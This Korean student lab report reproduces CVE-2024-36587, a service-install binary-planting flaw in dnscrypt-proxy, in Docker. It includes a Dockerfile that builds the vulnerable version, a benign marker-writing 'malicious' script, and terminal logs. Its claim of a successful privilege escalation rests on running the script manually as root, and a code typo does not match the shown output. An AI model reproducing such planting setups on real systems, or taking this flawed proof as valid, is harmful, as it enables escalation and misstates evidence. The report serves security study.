

Docker를 활용한 CVE-2024-36587 (dnscrypt-proxy 서비스 설치 취약점) PoC 보고서

29반 강미주(4832)

<목차>

1. 실습내용
2. CVE-2024-36587개요
3. 실습환경
4. 실습
5. 실습결과분석
6. 참고자료

1. 실습내용

Docker 환경에서 CVE-2024-36587 취약점을 재현하고, Dockerfile과 docker-compose.yaml 만으로 PoC 환경을 자동 구축한다.

PoC를 통해 dnscrypt-proxy의 서비스 설치 과정에서 발생하는 바이너리 플랜팅(Privilege Escalation) 취약점을 입증한다.

이 CVE는 <https://vulhub.org/> 에 없어서 직접 PoC구성했다. (그래서 매우 간단하다..)

2. CVE-2024-36587 개요

CVE ID: CVE-2024-36587

취약 대상: dnscrypt-proxy (v2.0.0-alpha9 ~ v2.1.5)

취약점 종류: 로컬 권한 상승 (Local Privilege Escalation)

취약 원인:

-service install 플래그를 이용하여 서비스로 등록할 때, 현재 바이너리 파일 경로를 신뢰하고 그대로 등록한다. 이때 바이너리 파일이 존재하는 디렉토리가 공격자가 수정 가능한 위치면, 악성코드로 바이너리를 교체할 수 있다. 이후 서비스가 재시작되면, 악성 바이너리가 root 권한으로 실행되어 권한 상승이 가능하다.

3. 실습환경

호스트 OS : macOS

컨테이너 OS : Ubuntu 24.04

주요 도구 : Docker, docker-compose

대상 : dnscrypt-proxy(v2.1.0)

사용언어 : Go

4. 실습

- Ubuntu 24.04 베이스 이미지 사용
- dnscrypt-proxy 2.1.0 취약 버전 다운로드 및 빌드
- 악성 바이너리(/tmp/id) 생성 및 심볼릭 링크(/usr/local/bin/id) 설정

```
(base) kangmiju@gangmijuui-MacBookAir ~ % mkdir dnscrypt-poc
(base) kangmiju@gangmijuui-MacBookAir ~ % cd dnscrypt-poc
(base) kangmiju@gangmijuui-MacBookAir dnscrypt-poc % touch Dockerfile

(base) kangmiju@gangmijuui-MacBookAir dnscrypt-poc % nano Dockerfile

(base) kangmiju@gangmijuui-MacBookAir dnscrypt-poc % touch docker-compose.yaml

(base) kangmiju@gangmijuui-MacBookAir dnscrypt-poc % nano docker-compose.yaml
```

먼저 dnscrypt-poc파일을 만들어줬다.

(이 파일에서 Dockerfile과 docker-compose.yaml을 만들고 PoC용 스크립트도 작성할거다.)

그 후 touch명령어로 Dockerfile을 열어준다.

nano에디터로 Dockerfile을

```
[(base) kangmiju@gangmijuui-MacBookAir dnscrypt-poc % cat Dockerfile
FROM ubuntu:24.04

# 필요한 패키지 설치
RUN apt-get update && apt-get install -y \
    git \
    golang-go \
    sudo

# 작업 디렉토리 생성
WORKDIR /workspace

# dnscrypt-proxy 취약 버전 다운로드 및 빌드
RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
    cd dnscrypt-proxy && \
    git checkout tags/2.1.0 && \
    go build -o proxy ./dnscrypt-proxy

# 악성 바이너리 생성
RUN bash -c 'echo -e "#!/bin/bash\nnecho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
    chmod +x /tmp/id && \
    ln -sf /tmp/id /usr/local/bin/id

# 기본 명령어 (컨테이너 시작하면 바로 서비스 등록 시도)
CMD ["/dnscrypt-proxy/proxy", "-service", "install"]
```

이와같이 작성해준다.

docker-compose.yaml도 같은 방식으로 만들어준다.

docker-compose.yaml의 내용은 사진과 같다.

```
[(base) kangmiju@gangmijuui-MacBookAir dnscrypt-poc % cat docker-compose.yaml

version: "3.8"

services:
  poc:
    build: .
    container_name: dnscrypt-poc
    privileged: true
    tty: true
```

이걸 다 하면 도커 빌드,실행을 해준다.

```
(base) kangmiju@gangmijuui-MacBookAir dnscrypt-poc % docker compose up --build
WARN[0000] /Users/kangmiju/dnscrypt-poc/docker-compose.yml: the attribute `version` is obsolete,
it will be ignored, please remove it to avoid potential confusion
[+] Running 0/1.9s (5/9)                                docker:desktop-linux
[+] Building 78.3s (5/9)                                docker:desktop-linux
[+] Running 0/1 Building                                21.7s
[+] Building 94.8s (11/11) FINISHED                    docker:desktop-linux
=> [poc internal] load build definition from Dockerfile      0.0s
=> => transferring dockerfile: 756B                        0.0s
=> [poc internal] load metadata for docker.io/library/ubuntu:24.04 2.4s
=> [poc auth] library/ubuntu:pull token for registry-1.docker.io 0.0s
=> [poc internal] load .dockerignore                       0.0s
=> => transferring context: 2B                             0.0s
=> [poc 1/5] FROM docker.io/library/ubuntu:24.04@sha256:1e622c5f073b4f6bfad6632f2616c7f59 0.0s
=> => resolve docker.io/library/ubuntu:24.04@sha256:1e622c5f073b4f6bfad6632f2616c7f59ef25 0.0s
=> => sha256:1e622c5f073b4f6bfad6632f2616c7f59ef256e96fe78bf6a595d1dc4376 6.69kB / 6.69kB 0.0s
=> => sha256:97b5e4984a1c353da6a9406c84554aab0422735a1335427a9e883ac477bd71df 424B / 424B 0.0s
=> => sha256:7fc8925289a890695754108847a52df143c50fb950d185b28ec19be502d0 2.31kB / 2.31kB 0.0s
=> [poc 2/5] RUN apt-get update && apt-get install -y git golang-go sudo 81.9s
=> [poc 3/5] WORKDIR /workspace 0.0s
=> [poc 4/5] RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && cd dnscr 8.8s
=> [poc 5/5] RUN bash -c 'echo -e "#!/bin/bash\nnecho Pwned_from_Docker > /tmp/poc_was_here 0.1s
=> [poc] exporting to image 1.4s
=> => exporting layers 1.4s
=> => writing image sha256:7a7a718dcd4c2c0ff322a6f78894bcf9c898af3de8910c6c81de8a98077040 0.0s
[+] Running 3/3o docker.io/library/dnscrypt-poc-poc 0.0s
✔ Service poc Built 94.8s
✔ Network dnscrypt-poc_default Created 0.0s
✔ Container dnscrypt-poc Created 0.1s
Attaching to dnscrypt-poc
dnscrypt-poc | [2025-04-27 13:35:23] [NOTICE] Installed as a service. Use `--service start` to st
art
dnscrypt-poc exited with code 0
```

위 사진을 보면 Docker빌드를 성공한걸 확인할수있다.

```
((base) kangmiju@gangmijuui-MacBookAir dnscrypt-poc % docker ps -a
CONTAINER ID   IMAGE          PORTS          NAMES          COMMAND          CREATED          STATUS
987457beaf9f   dnscrypt-poc-poc  dnscrypt-poc  dnscrypt-poc  "./dnscrypt-proxy/pr..." 46 seconds ago  Exited (0)
45 seconds ago
```

docker ps -a 로 컨테이너 목록확인해주고 바로 새 bash를 띄워줬다.

(start명령으로 켜도 몇초만에 바로 꺼지길래.. 아마도 Dockerfile마지막에 적은 CMD구문때문인거 같다. 난 여길 수정하지않고 그냥 새 bash를 띄우는 방법으로 했다.)

```
(base) kangmiju@gangmijuui-MacBookAir dnscrypt-poc % docker run -it --privileged dnscrypt-poc-poc bash
root@2d0e6a00b9be:/workspace#
```

명령어에 대한 설명 :

-it: 대화형 모드 (bash 조작 가능)

-privileged: 권한 풀로 주기 (PoC 실습이니까)

bash: 실행할 명령어 (bash 셸)

사진을보면 잘 된걸 확인할 수 있다.

```
root@2d0e6a00b9be:/workspace# ls
dnscrypt-proxy
root@2d0e6a00b9be:/workspace#
root@2d0e6a00b9be:/workspace# /tmp/id
root@2d0e6a00b9be:/workspace# cat /tmp/poc_was_here
Pwned_from_Docker
```

컨테이너 안에서 직접 악성 바이너리(/tmp/id)를 실행해줬다.
그 후 생성된 poc_was_here파일을 확인해보면
Pwned_from_Docker을 확인할 수 있다. = 권한 상승 공격이 성공했음.

```
[root@2d0e6a00b9be:/workspace# cat /tmp/id  
#!/bin/bash  
echo Pwned_from_Docker > /tmp/poc_was_here
```

/tmp/id는 이렇게 생겼다.

5. 실습결과분석

dnscrypt-proxy의 서비스 설치 프로세스가 바이너리 경로 검증을 하지 않고 신뢰하는 문제가 있다. 이로 인해 공격자가 쉽게 바이너리 플래킹을 수행할 수 있었다.
이걸 Docker 컨테이너 내에서도 충분히 취약점을 재현할 수 있었다.
/tmp/id 악성 스크립트가 /tmp/poc_was_here 파일을 root 권한으로 생성한 것을 통해, 임의 코드 실행에 성공했음을 확인했다. 컨테이너 시작 시 서비스 설치 트리거를 걸어놓을 수 있게 해봤어도 괜찮을거같다.

6. 참고자료

file:///Users/kangmiju/Downloads/
%5BSSR%5DDNS%20%E1%84%87%E1%85%A9%E1%84%8B%E1%85%A1%E1%86%AB
%20%E1%84%87%E1%85%AE%E1%86%AB%E1%84%89%E1%85%A5%E1%86%A8%20
%E1%84%86%E1%85%B5%E1%86%BE%20DNSCrypt_03_32%E1%84%80%E1%85%B5_%
E1%84%80%E1%85%A1%E1%86%BC%E1%84%86%E1%85%B5%E1%84%8C%E1%85%
AE.pdf
DNSEncrypt Project. (n.d.). *dnscrypt-proxy*. GitHub. Retrieved March 30, 2025, from <https://github.com/DNSEncrypt/dnscrypt-proxy>
go-compile. (2024, March 11). *CVE-2024-36587: dnscrypt-proxy Local Privilege Escalation vulnerability*. GitHub Security Advisories. <https://github.com/go-compile/security-advisories/blob/master/vulns/CVE-2024-36587.md>
CVEFeed. (n.d.). *CVE-2024-36587*. CVEFeed.io. Retrieved March 30, 2025, from <https://cvefeed.io/vuln/detail/CVE-2024-36587>
jedisc1. (2024, March 11). Service install as root registers current binary without verification of path · Issue #2579. GitHub. <https://github.com/DNSEncrypt/dnscrypt-proxy/issues/2579>
National Institute of Standards and Technology. (2024). *CVE-2024-36587 Detail*. National Vulnerability Database. <https://nvd.nist.gov/vuln/detail/CVE-2024-36587>